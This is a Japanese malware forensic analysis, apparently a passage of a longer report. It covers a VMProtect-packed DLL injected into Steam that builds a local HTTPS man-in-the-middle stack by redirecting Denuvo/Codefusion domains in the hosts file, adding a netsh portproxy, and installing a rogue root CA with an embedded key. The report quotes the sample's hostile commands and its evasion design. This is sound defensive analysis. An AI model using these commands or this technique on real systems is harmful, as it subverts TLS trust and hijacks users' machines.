rva 0x564260 → abs 0x18080c0d0 (rva 0x80c0d0)
rva 0x564268 → abs 0x180805848 (rva 0x805848)
rva 0x564270 → abs 0x180805420 (rva 0x805420)
rva 0x564278 → abs 0x180804ee0 (rva 0x804ee0)
6つのターゲットRVA(0x804ee0、0x805420、0x805848、0x80b3c0×2、0x80c0d0)はすべて主要な暗号化領域(rva 0x56f000–0x7cf000)に収まっています。この構造はVMProtectの6スロットハンドラディスパッチテーブル——暗号化ハンドラのエントリを指すポインタテーブルです。
ブロック3はTLSディレクトリの4つのポインタを指し、ブロック4はLoad ConfigテーブルのSEH/CFGフィールドを指します。24のrelocエントリは全体として、stage-2は位置非依存のイメージとして設計されており、シェルの最小限の重要なサポートのみがフィックスアップを必要とすることを示しています。
9.7 主要な暗号化領域:すべての標準アンパックアルゴリズムがヒットしない
ファイルの0xc000–0x26c000(約2.4 MB、エントロピー7.9–7.99)に対して、以下のアンパックアルゴリズムを試しました。
| アルゴリズム | 結果 |
|---|---|
| zlib (78 01/78 9c/78 da) ヘッダースキャン | 0 hits |
| raw deflate(複数の開始点) | 0 hits |
| Python lzma 自動検出 | 0 hits |
| lzma raw(FILTER_LZMA1, dict 16MB) | 0 hits |
Windows RtlDecompressBuffer LZNT1 | 0 hits |
Windows RtlDecompressBuffer XPRESS | 0 hits |
1バイトXOR(0x01-0xff)+ MZ/一般的な平文を検索 | 0 hits |
| 6種類のAPI名ハッシュ(DJB2 / DJB2lower / DJB2upper / CRC32 / FNV-1a / ROR13_add)× 100以上の候補API(WinHttp / Schannel / BCrypt / Crypt32 / Cert / Reg / Shell / Process / File / Socket / Steam を含む) | 0 hits |
MZ\x90\x00、netsh、hosts、DCS Root、codefusion、antitamper、CMsgGatewayHook、GetDepotKey、127.0.0.1など、メモリダンプで可視だった文字列は、ディスクイメージ内では見えません。
暗号化層はVMProtect独自のものです。mutationエンジンを使用したper-handler key scheduleを用いて、異なるハンドラに異なる鍵で暗号化し、鍵を暗号化コード自身に埋め込みます(自己復号構造)。この暗号化層は、実行時コンテキストがない状態ではバルク復号できません。
9.8 末尾 ~350 KB の低エントロピーコード領域:VMProtect dispatcherであり、ユーザーコードではない
stage-2の.textセクションの単一値エントロピー7.93は平均値にすぎません。8KBウィンドウ、4KBステップで再計算すると、3つのエントロピー構造が明らかになります。
| rva 範囲 | エントロピー | 性質 |
|---|---|---|
| 0x563000-0x56f000 | 3.77-6.74 | bootstrap + 各種テーブル(reloc / debug / PDB / CRT セクション名テーブル) |
| 0x56f000-0x7cf000 | 7.50-7.99 | ★主要暗号化領域★ 約2.4 MB |
| 0x7cf000-0x826200 | 4.92-6.65 | 末尾の低エントロピーコード領域 約350 KB |
低エントロピー末尾の約350 KBは暗号化されておらず、直接逆アセンブル可能で、29の完全なMSVC関数プロローグ(55 53 56 57 41 54 41 55 41 56 41 57 48——push rbp/rbx/rsi/rdi/r12-r15 + sub rsp)を識別できます。関数のサンプルを一つ取り出します。
========== 関数 @ rva 0x7f3fab ==========
push rbp ... push r15
lea rbp, [rax - 0x1b18] ; カスタムフレーム:raxをコンテキストベースとして使用
mov eax, 0x1bd8
call 0x1808251d8 ; _chkstk (スタックプローブ)
sub rsp, rax
mov r15, qword ptr [rbp + 0x1b58]
xor r12d, r12d
mov ebx, dword ptr [rbp + 0x1b48]
mov r14, qword ptr [rbp + 0x1b40]
lea eax, [r15 + 0x20000]
bsr edi, eax ; bit scan reverse
... 多数の r8/r9 コンテキスト操作 ...
call 0x180815b78
call 0x180825a78
lea rbp, [rax - 0x1b18]形式のフレームセットアップ(渡されたraxをコンテキストベースとし、大きなフレームオフセットでフィールドにアクセス)は、VMProtect VM dispatcher / scratch context handlerの典型的な形態であり、ユーザーのビジネスコードではありません。別の関数@ rva 0x7f696fはstrcmp/memcmpスタイルのループであり、その特徴はコンパイラ生成のランタイムヘルパーに近いものです。
結論:この~350 KBのコード領域は、VMProtect VM dispatcher、ハンドラディスパッチコード、MSVC C/C++ runtime helpersで構成されています。ユーザーのビジネスコードはこの領域にはありません。実際のloadLib関数本体(rva 0x2cb80、削除された.text内にある)とアンチタンパーフックのすべては、rva 0x56f000–0x7cf000の暗号化領域にあります。
これがまさにVMProtectの「選択的保護」設計です。開発者はloadLib呼び出しチェーン上の重要な関数のみを仮想化し、残りのコードはネイティブコンパイルのままにします。AV/サンドボックスが見る「半分は正常なMSVCコード」は、シェルの偽装層を構成します。これは「完全パック」のヒューリスティック警告をトリガーせず、実際のビジネスロジックを暗号化領域に格納します。
9.9 エントリとTLSコールバックは両方ともアンパック領域にジャンプ
========== TLS Callback rva 0x565de0 ==========
0x180565de0: call 0x1808249d0 ; ターゲットは .text 末尾(低エントロピーディスパッチコード領域)
========== EntryPoint rva 0x5667f0 ==========
0x1805667f0: call 0x1808213f0 ; 同じくディスパッチコード領域にジャンプ
stage-2の実行シーケンスは以下の通りです。
stage-1 が MemoryLoadLibraryEx(buf, size) を呼び出し、stage-2 を Steam プロセスのアドレス空間に手動マッピング
↓
MemoryModule 内部で Windows ローダーの流れに従って実行:reloc fixup → IAT 解決 → TLS callback を呼び出す → DllMain を呼び出す
↓
TLS callback @ rva 0x565de0 が実行 → VMP ブートストラップコードに入る → raw=0 のセクションをメモリに解凍/復号
↓
EntryPoint @ rva 0x5667f0 が実行 → 同じく VMP ブートストラップに入る(さらに展開)
↓
MemoryLoadLibraryEx が戻る。この時点で loadLib は rva 0x2cb80(元の raw=0 の最初の .text 内)に解決されている
↓
stage-1 が MemoryGetProcAddress("loadLib") でそのアドレスを取得
↓
stage-1 が call rax を実行 → loadLib が起動 → ビジネスロジック開始
つまり、stage-2の実際の本体は、stage-1のMemoryLoadLibraryExが戻る前にメモリ上に完全に展開されています。静的ファイルから完全なstage-2の動作面を抽出しようとする試みは、このアーキテクチャでは成功しません。
このフローには、暗黙の副作用があります。stage-2のアクティベーションは、stage-1が後続のloadLib呼び出しに依存しません。たとえstage-1が何らかの理由でloadLibエクスポートを特定できずに早期にretしたとしても、stage-2のTLS callbackはMemoryLoadLibrary内部で既にディスパッチされて実行されています。stage-2はTLS callback内で全ての初期化作業(フックの登録、ポートのリッスン、hostsの書き換え、証明書のインストールなど)を完了でき、loadLibはstage-1の終了チェックを通過するための「プレースホルダーエクスポート」としてのみ機能します。攻撃者の視点から見ると、コア初期化を明示的なエクスポートよりもTLSに配置する方がより隠蔽性が高く、AVのエクスポートテーブルの静的スキャンではこのような初期化パスを認識できません。
9.10 静的解析能力の境界図
stage-2イメージの静的可視性の観点からの全体地形は以下の通りです。
┌──────────────────────────────────────────────────────────────────────┐
│ stage-2 ディスクイメージ 2.9 MB │
│ │
│ rva 0x563000..0x56f000 bootstrap entropy 4-6 ✓ 可読 │
│ ├─ PDB 文字列 "F:\入庫内核\Steam\x64\Release\hid.pdb" │
│ ├─ MSVC セクション名テーブル (.text$mn, .CRT$X*, .fptable, .rdata$voltmd) │
│ ├─ TLS dir + Load Config dir │
│ └─ rva 0x564250: 6スロット VMProtect handler ディスパッチ表 │
│ │
│ rva 0x56f000..0x7cf000 ★暗号化本体★ entropy 7.9-7.99 ✗ 不可読 │
│ 2.4 MB VMProtect 暗号化コード領域 │
│ loadLib 関数本体(rva 0x2cb80)はこの領域に位置(削除された .text にマッピング)│
│ │
│ rva 0x7cf000..0x826200 クリアな VM ディスパッチ + C runtime entropy 5-6.6 ✓ 可読 │
│ ~350 KB VMProtect runtime + MSVC C/C++ runtime helpers │
│ TLS callback ターゲットはここ │
│ EntryPoint ジャンプ台ターゲットはここ │
│ │
│ rva 0x827000..0x827800 小 .data ✓ 可読 │
│ IAT (11 スロット — おとり) │
│ TLS callbacks table │
│ strings: "loadLib", "hid.dll", L"kernel32.dll" │
│ │
│ rva 0x828000..0x828080 .reloc ✓ 可読 (24 entries) │
│ rva 0x829000..0x8290F8 .rsrc ✓ 可読 (空の manifest)│
└──────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────┐
│ 削除された(実行時にシェルによって埋め戻される): │
│ rva 0x001000..0x328000 .text + .rdata + .data (raw=0) │
│ 本当の loadLib 関数本体(rva 0x2cb80)を含む │
│ stage-2 の全ての静的データを含む:元の文字列、元の IAT、C++ vtable │
│ rva 0x3eb000..0x40d000 .pdata + .fptable + 2番目のコードセクション (raw=0) │
│ rva 0x550000..0x563000 2番目の .data (raw=0) │
└──────────────────────────────────────────────────────────────────────┘
.textセクション全体のエントロピーは約7.93——8.0の上限に非常に近く、PE本体が暗号化/パックされていることを示しており、静的ストリングスにはnetsh、portproxy、8443、cmd.exeなどの動作関連シンボルが現れません。
9.11 静的解析で証明可能 / 証明不可能マトリックス
以下の表は、このセクションで得られた結論を「静的に証明可能」と「静的に証明不可能」の2つに分類したものです。これは、今後VMProtect/Themida系のサンプルに遭遇した際のフォレンジック参照テンプレートとして使用できます。
| 知りたいこと | 静的に証明可能 | 証拠 / 備考 |
|---|---|---|
| VMProtectでパックされているか | ✓ はい | セクションレイアウト + .fptable + .rdata$voltmd + 24 reloc + IAT全0参照 + SizeOfImage > ディスク + WS2_32 ord #3 |
| エントリ制御フローの最初のジャンプ先 | ✓ rva 0x5667f0 → call 0x1808213f0 | §9.9 |
| TLS callbackの位置 | ✓ rva 0x565de0 → call 0x1808249d0 | §9.9 |
| シェルの全体的なタイプ | ✓ VMProtect 3.x "選択的保護"モード(VM dispatcherは外層、重要関数は暗号化領域) | §9.8 |
| 作者のプロジェクト名 | ✓ "入庫内核" | PDB パス |
| TLS callbackが毎回実行されるか | ✓ はい | MemoryLoadLibrary内部でWindowsローダーの流れに従って能動的にTLS callbackを呼び出す、§9.9 |
| 実際のimport呼び出し位置 | ✗ 全て暗号化領域内、ディスクIATはおとり | §9.5 |
| stage-2発信HTTPSのターゲットドメイン | ✗ 文字列は暗号化領域内 | hosts + ルート証明書 + メモリダンプは既に*.codefusion.technology / *.antitamper.netに閉じている(§11) |
| 8443ポートのプロトコル形式 | ✗ 完全な定義は暗号化領域内 | メモリダンプでCMsgGatewayHook / CMsgCdkActiveResponseなどのフィールドが見える(§10) |
| Steam内でフックされる具体的な関数 | ✗ フックインストールコードは暗号化領域内 | SymFromAddrインポート + メモリ内のGetDepotKey / GetTicket / ManifestAuth文字列が範囲を特定(§10) |
| インストールされるルート証明書の具体的な属性 | ✗ CertSetCertificateContextProperty呼び出しは暗号化領域内 | レジストリで直接DCS Root CA G2を観察可能(§11) |
まとめ:「インストール内容 / システム変更 / 通信相手」に関わるシステムレベルの動作問題は、静的解析では直接結論を出せないが、実行時の痕跡(hosts、portproxy、レジストリ証明書、Steamプロセスダンプ内の文字列)を通じてすべて逆方向に閉じることができる。この性質により、フォレンジックの順序が決まります。前述の§2–§6では、まずダンプを収集し、次にシステム状態をチェックし、最後にディスクファイルに戻る必要があります。「静的解析を先に行い、動的解析を後に行う」順序で進めると、解析はVMProtectの暗号化領域で停止します。「動的解析を先に行い、静的解析を後に行う」と、ディスクPEはダンプで既に捕捉された事実を裏付けるためだけに使用され、各ステップの結論は実行時の証拠によって裏付けられます。次のセクションでは、これらの逆方向に閉じた具体的な証拠を示します。
10. メモリダンプ検証:動作文字列が実行時に全て展開される
§2で収集した2つのダンプに戻り、キーワード検索を実行すると、実行時に復号/アンパックされて復元された大量の文字列を観察できます。これは、§2の「最初にダンプを取得し、その後で分析を行う」というフォレンジック順序の必要性を裏付けています。
netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=443
listenaddress=127.0.0.1 connectport=%d connectaddress=127.0.0.1
cmd.exe /c
powershell -WindowStyle Hidden -Command
Start-Process -FilePath ... -Verb RunAs
C:\Windows\System32\drivers\etc\hosts
# Network optimization configuration
ROOT
Digital Certificate Services Root CA
DCS Root CA G2
同じ領域で、Steam/Steamworks内部プロトコルフィールドのセットをスキャンできます。
CMsgGatewayHookRequest / CMsgGatewayHookResponse
CMsgCdkActiveResponse
GetDepotKey / GetTicket / GetEncryptTicket
ManifestAuth
force_proxy / use_https
GatewayHook、DepotKey、Ticket、ManifestAuth、CdkActiveなどのシンボルはすべて、Steam認証フローの重要なノードに対応しています。これにより、stage-2の関心領域は初步的にSteam認証フローのプロトコルレベルでの偽造であると特徴づけることができます。
11. hosts + ルート証明書:ローカル透過MITMスタックの閉ループ検証
Get-Content "C:\Windows\System32\drivers\etc\hosts" |
Select-String 'Network optimization|codefusion|antitamper|steam|127.0.0.1'
# Network optimization configuration
127.0.0.1 srv01.codefusion.technology
127.0.0.1 srv02.codefusion.technology
127.0.0.1 srv03.codefusion.technology
127.0.0.1 srv01.antitamper.net
127.0.0.1 srv02.antitamper.net
127.0.0.1 srv03.antitamper.net
codefusion.technologyは公開クエリにより、Codefusion / Denuvoアンチタンパーサービスに属することが確認されています。ルート証明書ストアを引き続き確認します。
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
Where-Object { $_.Subject -match 'DCS|Digital Certificate Services|Root CA G2' }
Subject: CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Issuer: CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Thumbprint: 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F
有効期間: 2025-11-14 ~ 2035-11-12(10年)
この証明書は公開CAシステムに属しておらず、自己署名Rootであり、システムの信頼されたルートストアに組み込まれています。
3つのタイプの証拠を組み合わせると:
hosts: Denuvo/Codefusion ドメイン → 127.0.0.1
portproxy: 127.0.0.1:443 → 127.0.0.1:8443
リスニングポート: Steam.exeプロセス内(stage-2イメージ)が8443を占有
ルート証明書: DCS Root CA G2 自己署名ルート、任意のドメインに署名可能
これにより、ローカル透過HTTPS中間者 / 偽サーバースタックの完全なチェーンが閉じられました。上記のアンチタンパードメインへのHTTPSリクエストは、Steamプロセス内の偽サーバーにハイジャックされ、証明書検証はDCSルートCAによって発行された偽のリーフ証明書によって処理されます。
12. 動的アンパック後の振り返り閉ループ解析
§9の結論により、VMProtectは重要なビジネスロジックを0x56f000–0x7cf000の2.4 MBの暗号化領域に格納し、ディスク静的スキャンではいかなる動作文字列も取得できず、IATはおとりであり、すべての標準アンパック試行は失敗することが確認されました。しかし、stage-1は既にstage-2をSteamプロセスに手動マッピングし、TLS callbackを実行しています。制御された環境で一度実行すれば、この2.4 MBの暗号化領域はメモリ内で必ず平文として展開されます。この事実に基づき、以下のアンパックパスを取ることができます。stage-1のcall rax(stage-2のloadLibを呼び出す)の前に無限ループブレークポイントを挿入して実行を中断し、外部からSteamプロセスの対応するメモリ領域をダンプすれば、完全にアンパックされたstage-2イメージを得ることができます。
このセクションの目標は、§9.11のテーブルで✗とマークされたすべての項目を閉じることです。前述のダンプ文字列とシステム証拠によって逆方向に閉じられた事実は、アンパック後のバイナリで直接呼び出し、構造、埋め込みアセットなどの具体的な証拠として読み取ることができます。
12.1 アンパックイメージの収集
実装手順:stage-1(xinput1_4.dll)に1バイトのパッチを適用します。0x180001510: call rax命令の前にEB FE(jmp $)無限ループを挿入します(パッチ後のDLLはxinput1_4_patched_infloop.dllと命名、サイズ14848 bytes)。Steam起動後、ロードチェーン全体が元のパスで実行されます。
Steam → パッチ適用された xinput1_4.dll をロード → DllMain → sub_1170
→ localData.vdf を読む → XOR 0xFF デコード
→ MemoryLoadLibraryEx(buf, size)
├─ reloc fixup
├─ IAT 解決(11スロット、全ての実際のAPI解決はTLS内で行われる)
├─ TLS callback @ rva 0x565de0 → VMP ブートストラップが完了、暗号化領域が展開される
├─ EntryPoint @ rva 0x5667f0 → 同様に VMP ブートストラップに入る
└─ mod を返す
→ MemoryGetProcAddress(mod, "loadLib") → rax = stage-2 内 0x2cb80
→ jmp $ ← ここで停止
注入されたスレッドはjmp $無限ループで停止します。Steamプロセスの残りの部分は引き続き実行されます(DisableThreadLibraryCallsにより、それ以上のDLL_THREADコールバックは抑制されています)。この時点で、外部プロセスからダンパーをアタッチし、完全な8 MBのイメージをディスクに書き出します。
re/stage2_unpacked.bin
サイズ: 8,560,640 bytes (8.16 MB、SizeOfImage 0x82A000 に対応)
SHA256: 8911004DF9FA21350E085CBCAEFAA1A18E2E0DADFEDDF2E22E76EC55E4CEFCEC
このイメージは、stage-2の完全な実行時スナップショットです。§9.10の図で削除されたすべてのraw=0セクション(loadLib関数本体を含む最初の.text、元の文字列領域、C++ vtable、2番目の.pdataなど)は、シェルによって復元されています。
12.2 文字列抽出:ダンプ内のすべての文字列が出現し、多数の新しいエントリが追加
アンパックイメージに対して文字列抽出(スクリプトre/31_extract_strings.py)を実行し、約1.5 MBの出力(re/strings_dump.txt)を得ました。§9.4でディスク静的に可視だったのはわずか3つの文字列、§10でSteamプロセスダンプで観察された動作関連文字列は、アンパックイメージではすべて出現し、さらに以前は観察されなかったいくつかのバッチが新たに追加されました。
# §10 で既に観察されたもの(動作関連)
netsh interface portproxy add v4tov4 listenport=443 ...
cmd.exe /c
C:\Windows\System32\drivers\etc\hosts
DCS Root CA G2
Digital Certificate Services Root CA
CMsgGatewayHookRequest / CMsgGatewayHookResponse
GetDepotKey / GetTicket / ManifestAuth
force_proxy / use_https
# §9 / §10 のいずれでも観察されなかったもの(新規)
srv01-03.codefusion.technology ← C2 ドメイン平文(以前は hosts でのみ可視、現在はバイナリ内に存在)
srv01-03.antitamper.net
CertOpenStore / CertCloseStore
CertCreateCertificateContext / CertFindCertificateInStore
CertFreeCertificateContext / CertAddCertificateContextToStore
CertSetCertificateContextProperty ← 完全な Crypt32 cert 操作 API 名が文字列として存在、実行時に名前で GetProcAddress
-----BEGIN CERTIFICATE----- ← PEM マーカー
-----BEGIN RSA PRIVATE KEY----- ← PEM 秘密鍵マーカー
\.steam_restart_flag ← デプロイ完了後に Steam 再起動をトリガーするためのマーカーファイル
Cert* API名が文字列として現れていることは、これらのAPIが静的IATに存在しないことを確認しています。これらはすべて、stage-2がTLSブートストラップフェーズでLoadLibraryExW("crypt32.dll") + プライベート実装のGetProcAddressByNameを通じて解決されます。この観察結果は、§9.3で静的IATにCertSetCertificateContextPropertyが1つしか含まれていなかった異常な現象を説明しています。残りの7つのCert* APIは実行時に解決されており、証明書インストールロジック全体はディスクIATにまったく依存していません。
12.3 埋め込みアセット:3つの証明書と1つの一致するRSA秘密鍵
PEMマーカーに従って埋め込みアセットを追跡します。スクリプトre/34_extract_certs.pyは、アンパックイメージ内でBEGIN/ENDペアのブロックを検索し、以下のアセットを抽出しました。
| ファイルオフセット | タイプ | 内容 |
|---|---|---|
| 0x35cb80 | DH パラメータ | TLS用DHグループパラメータ |
| 0x36fae0 | リーフ証明書 | CN=srv01.codefusion.technology, O=CodeFusion Technology LLC, C=US;DCS Root CA G2によって発行;2025-11-13 ~ 2035-11-11 |
| 0x37012e | 自己署名ルートCA(コピー1) | CN=DCS Root CA G2, O=Digital Certificate Services, C=US;2025-11-13 ~ 2035-11-11 |
| 0x370610 | RSA 2048 秘密鍵 | PEM形式、2048 bit |
| 0x370d30 | 自己署名ルートCA(コピー2) | コピー1とバイトレベルで一致(SHA256 ともに 77FD7C44…) |
証明書フィンガープリント(アンパックから抽出したDER):
リーフ証明書 SHA256: 19B7FC43963DD116AC8CA280CA0DCDDD758D414D313F2EEA5D2630B68A40CA79
ルートCA SHA256: 77FD7C44B8973F12D145D02BCF91FE03C85F93FA9B72988CE70E8D7F16F35B35
注:§11でシステムレジストリで観察されたルート証明書のThumbprintはSHA1 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9Fであり、ここでのDERファイルのSHA256 77FD7C44…は、同じ証明書の異なるダイジェストアルゴリズムです(ThumbprintはWindowsが使用するSHA1です)。
重要な検証:リーフ証明書のpubkey MD5とPEM秘密鍵のpubkey MD5を比較します。
リーフ証明書 pubkey md5: 928e386311c6148e727c543ce099c875
PEM 秘密鍵 pubkey md5: 928e386311c6148e727c543ce099c875 ← 完全に一致
このPEM秘密鍵はリーフ証明書と鍵ペアを構成しています。つまり、サンプルは「偽のCAのルート証明書」と「リーフ証明書とその一致する秘密鍵」を同時に持ち歩いています。ローカルの偽サーバーはオンライン発行を必要とせず、この証明書+秘密鍵を直接使用して、8443ポートでsrv01.codefusion.technologyとしてSteamとTLSハンドシェイクを完了できます。ルートCAがシステムの信頼されたルートに組み込まれると、Steamが見る証明書チェーンは正当なものになります。MITM資格情報のセット全体は、完全にオフラインで自己完結しています。
12.4 6スロットSNIサーバープロファイルテーブル
スクリプトre/35_cert_xrefs.pyを使用して、アンパックイメージ内でリーフ証明書PEM(0x36fae0)とRSA秘密鍵PEM(0x370610)を指すすべてのQWORDポインタをスキャンしたところ、0x372260以降のデータ領域で、同じ構造を持つ6つのエントリ(ストライド0x18)がヒットしました。構造は以下のように推測されます。
struct ServerProfile {
char *pem_cert; // +0x00 -> 0x18036fae0 (leaf cert PEM)
char *pem_key; // +0x08 -> 0x180370610 (RSA private key PEM)
void *slot; // +0x10 (per-slot コンテキスト)
};
ServerProfile servers[6] = { ... }; // 6 エントリ
6つすべてが同じリーフ証明書+秘密鍵のペアを指しています。これは§11でhostsに観察された6つのドメイン(srv01-03.codefusion.technology + srv01-03.antitamper.net)の数と一致します。つまり、これらの6つのC2ドメインは、ローカルの偽サーバーで同じ資格情報によるマルチSNI多重化アーキテクチャを採用しています。クライアントがどのドメインに解決しても、同じリーフ証明書のTLSハンドシェイクによって処理されます。
12.5 証明書インストールの呼び出しチェーン
§8–§9で未解決だった問題は、CertSetCertificateContextPropertyの実際の呼び出しパスが特定されていないことでした。アンパックイメージでは、この呼び出しチェーンを完全に復元できます(スクリプトre/36_disasm_cert_install.py)。
sub_23200(ルートCAインストール本体) —— 逆アセンブル結果:
0x2320c: lea rax, [(u16) "ROOT"] ; ターゲットストア名(LocalMachine\Root)
0x23269: lea rcx, ["-----BEGIN CERTIFICATE-----"] ; 1つ目のルートCA PEMコピー
0x232dc: call sub_31b870 ; PEM → DER デコード(CryptStringToBinaryA)
0x2349a/0x234d5/0x2351b: 2つ目のルートCA PEMコピーで再実行(二重保険/リトライ機構)
0x23583: lea rdx, [(u16) "Digital Certificate Services Root CA"]
0x2358e: call sub_407e0 ; CertFindCertificateInStore で CN による重複チェック
sub_29400(全体オーケストレーション関数) —— 以下の順序ですべての「オンライン」ステップを呼び出します。
sub_21eb0 → §4 で観察された portproxy インストール(cmd.exe /c netsh ...)
sub_23650/23400 → §12.5 のルートCAインストールパス
lea rdx, "DCS Root CA G2" + sub_42430 + sub_23420
→ インストールされた証明書に CERT_FRIENDLY_NAME_PROP_ID = "DCS Root CA G2" を設定
lea rax, "\.steam_restart_flag" + sub_41d20
→ マーカーファイルを書き込み、Steam 再起動をトリガーして新しい設定を適用
これにより、§9.11のテーブルで「インストールされるルート証明書の具体的な属性」が✗から✓になりました。この証明書はROOTストア(すなわちLocalMachine\Root)にインストールされ、CertFindCertificateInStoreでCNにより重複を排除し、最後にCertSetCertificateContextPropertyでフレンドリ名をDCS Root CA G2に設定します。§11でCert:\LocalMachine\Rootで観察されたレジストリ記録と完全に一致します。
12.6 著者プロファイルの補足:GBK中国語書式文字列
§8のPDBパスF:入庫内核\Steam\x64\Release\hid.pdbは既に著者が中国語を使用していることを示しています。アンパックイメージでは、より直接的な証拠が見られます。
file offset 0x3717a0:
hex: c4 bf b1 ea d3 f2 c3 bb 3a 20 00 00 ...
GBK: "目標域名: "
これは実行時の書式文字列です(おそらく"目標域名: %s\n"のようなprintfに対応)。stage-2内部にGBKエンコードのログ/出力パスが存在することを示しており、著者自身がデバッグ時にUTF-8ではなく中国語GBKを使用していたことを示しています。PDBの「入庫内核」という文字と合わせて、典型的な中国本土のWindows開発者の技術スタックのプロファイル(MSVC + GBKロケール)を描き出すことができ、ツールチェーンの所属を英語/ロシア語の闇エコシステムではなく、中国語のグレーゾーンエコシステムに特定できます。
12.7 アンパック後のイメージマップ
§9.10の静的マップで削除されたいくつかのセクションは、アンパックイメージで直接その内容を観察できます。以下にアンパック後のビューを示します。
┌──────────────────────────────────────────────────────────────────────────┐
│ アンパック後 stage-2 イメージ 8.16 MB (re/stage2_unpacked.bin) │
│ │
│ rva 0x001000..0x328000 第1 .text + .rdata + .data (アンパック済み) │
│ ├─ rva 0x21eb0 sub_21eb0 portproxy install (cmd /c netsh) │
│ ├─ rva 0x23200 sub_23200 root CA install (PEM デコード+ store 書き込み) │
│ ├─ rva 0x29400 sub_29400 全体オーケストレーション:portproxy → cert → restart_flag │
│ ├─ rva 0x2cb80 loadLib エクスポートエントリ(TLS callback / stage-1 から両方とも進入) │
│ ├─ rva 0x35cb80 DH params TLS 用 │
│ ├─ rva 0x36fae0 リーフ証明書 PEM CN=srv01.codefusion.technology │
│ ├─ rva 0x370610 RSA 秘密鍵 PEM リーフ証明書 pubkey MD5 と完全一致 │
│ ├─ rva 0x37012e/0x370d30 自己署名ルートCA PEM × 2 コピー │
│ ├─ rva 0x371450 "Digital Certificate Services Root CA" (u16) │
│ ├─ rva 0x3714a0 "DCS Root CA G2" (asc) │
│ ├─ rva 0x3717a0 "目標域名: " (GBK) │
│ ├─ rva 0x372260 6スロット SNI サーバープロファイルテーブル(同じリーフ証明書+秘密鍵を指す) │
│ └─ rva 0x54f647-0x54f6fb Cert* API 名前文字列表(実行時 GetProcAddress)│
│ │
│ rva 0x328000..0x3eb000 第2 .rdata + .data (アンパック済み) │
│ ├─ Cert/Steamworks/protobuf 文字列領域 │
│ ├─ CMsgGatewayHookRequest / CMsgCdkActiveResponse 等 protobuf フィールド名 │
│ └─ MIGHAoGB... base64(リーフ証明書公開鍵)等 │
│ │
│ rva 0x563000..0x826200 元の .text/ディスパッチ領域(§9.10 と同じ、変更なし) │
│ rva 0x827000..0x8290F8 .data/.reloc/.rsrc │
└──────────────────────────────────────────────────────────────────────────┘
12.8 静的解析能力マトリックス更新
§9.11の「可能/不可能」テーブルをアンパックイメージに基づいて書き換えると、元のテーブルで✗だった項目のほとんどを✓にアップグレードできます。
| 知りたいこと | 旧(§9.11) | 新(アンパック後) | 証拠 |
|---|---|---|---|
| 実際のimport呼び出し位置 | ✗ | ✓ TLS callback内で名前によるGetProcAddress解決 | §12.2 文字列表のCert* / Loader* 等のAPI名 |
| stage-2発信HTTPSのターゲットドメイン | ✗ | ✓ 6つのC2ドメイン平文 | srv01-03.codefusion.technology + srv01-03.antitamper.net がすべて文字列として存在 |
| 8443ポートのプロトコル形式 | ✗ | ✓ 完全なsteam_server.protoスキーマ | §12.11 完全なフィールドリスト |
| Steam内でフックされる具体的な関数 | ✗ | ✓ GetDepotKey / GetTicket / GetEncryptTicket / ManifestAuth | §12.11 フックターゲットはprotobuf message名と一致 |
| インストールされるルート証明書の具体的な属性 | ✗ | ✓ ROOT store + CERT_FRIENDLY_NAME_PROP_ID = "DCS Root CA G2" | §12.5 逆アセンブル |
| ローカル偽サーバーTLS資格情報のソース | — | ✓ 自己完結型リーフ証明書 + 一致秘密鍵、6 SNI多重化 | §12.3、§12.4 |
| 著者の使用言語 | 中国語と推測 | ✓ GBK確認 | §12.6 "目標域名:" 書式文字列 |
核心結論:§11でシステムレベルで観察されたすべての外部状態(hosts、証明書、portproxy、Cert:\LocalMachine\Root内のルート証明書)は、アンパックされたバイナリ内の対応するインストールコード、文字列、アセットに特定できます。これにより、チェーン全体が「システム状態による証拠」から「バイナリレベルでの閉ループ」にアップグレードされました。このツールはオンライン発行や実行時ダウンロードに依存せず、すべてのMITM装備がサンプル内に組み込まれています。インストール時点から、その動作面は確定的で、自己完結的であり、オフラインで分析可能です。
12.9 loadLib の実際の機能:スレッド作成器であり、ビジネスエントリではない
アンパック前の作業仮説では、loadLib(エクスポートRVA 0x2cb80)が悪意のあるロジックのエントリであるとされていました。アンパック後の逆アセンブルでは、この関数本体はわずか~120バイトであることが示されました。
sub_2cb80 (loadLib):
sub rsp, 0x58
mov ecx, 1
call sub_2d4e10 ; rax = C++ オブジェクトを作成(thread パラメータ)
lea rcx, [rsp + 0x38] ;
mov r9, rax ; arg4 = オブジェクト
mov [rsp + 0x28], rcx ; arg6 = &thread_id
lea r8, [rip + 0x87ee] ; arg3 = sub_35390 (関数ポインタ)
xor ecx, ecx ; arg1 = NULL
mov [rsp + 0x20], 0 ; arg5 = 0 (creation flags)
xor edx, edx ; arg2 = 0 (stack size)
call sub_2ec20c ; ← _beginthreadex
test rax, rax ; 失敗したら int3 panic
je ...
add rsp, 0x58
ret ; ★ すぐに stage-1 に戻る
sub_2ec20cの逆アセンブル結果は、MSVC CRTの_beginthreadex標準実装に適合しています。errno=EINVALエラーパス、invalid_parameter_handlerを含み、末尾でcall qword ptr [rip + 0x3c24e]により実行時に解決されたKERNEL32.CreateThreadを呼び出しており、構造は完全にMSVCリファレンス実装に一致します。
スレッドエントリsub_35390はわずか22命令です。これはMSVC CRTのスレッドトランポリンであり(最初に2回のCRT TLS初期化を実行し、次にsub_2d4e08(param, 1)を呼び出してユーザースレッド関数に入る)、sub_2d4e08 → jmp sub_23b0 → jmp sub_2e6720 → jmp sub_2f4df0と、複数層の/Gy関数レベルリンクサンクを経て、最終的に実際のビジネスコードに到達します。
sub_2f4df0 (実際の worker エントリ):
test rcx, rcx
je ret ; param == NULL なら直接終了
mov r8, rcx
xor edx, edx
mov rcx, qword ptr [rip+0xee94a] ; rcx = グローバルオブジェクト ptr (実行時に入力)
call qword ptr [rip+0x33314] ; ★ 実行時に入力された関数ポインタテーブルを通る
末尾のcall [rip+0x33314]はC++仮想関数ディスパッチです。アンパックイメージでは、このポインタスロットは実行時にシステムDLLアドレス空間のポインタ(0x7ffc8...)で埋められており、グローバルオブジェクト ptrスロットはヒープ上のオブジェクト(0x000001ee14910000)を指しています。
